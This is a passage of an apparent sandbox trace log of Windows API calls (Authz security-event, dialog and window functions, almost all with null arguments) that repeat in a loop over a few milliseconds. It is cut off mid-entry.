0x0 [0025.716] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.716] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.716] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.716] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.716] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.716] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.716] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.716] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.716] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.716] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.716] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.716] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.716] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.716] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.717] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.717] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.717] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.717] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.717] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.717] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.717] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.717] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.717] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.717] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.717] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.717] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.717] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.717] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.717] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.717] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.717] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.717] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.717] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.717] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.717] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.717] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.717] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.717] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.718] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.718] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.718] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.718] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.718] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.718] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.718] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.718] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.718] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.718] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.718] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.718] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.718] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.718] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.718] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.718] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.718] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.718] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.719] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.719] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.719] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.719] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.719] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.719] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.719] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.719] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.719] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.719] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.719] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.719] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.719] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.719] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.719] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.719] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.719] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.719] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.719] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.719] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.719] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.719] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.719] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.719] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.719] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.719] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.719] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.719] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.719] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.719] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.719] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.720] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.720] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.720] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.720] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.720] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.720] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.720] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.720] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.720] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.720] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.720] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.720] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.720] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.720] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.720] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.720] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.720] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.720] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.721] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.721] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.721] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.721] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.721] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.721] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.721] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.721] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.721] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.721] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.721] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.721] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.721] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.721] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.721] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.721] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.721] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.721] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.721] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.722] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.722] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.722] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.722] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.722] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.722] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.722] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.722] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.722] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.722] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.722] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.722] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.722] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.722] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.722] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.723] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.723] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.723] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.723] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.723] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.723] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.723] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.723] 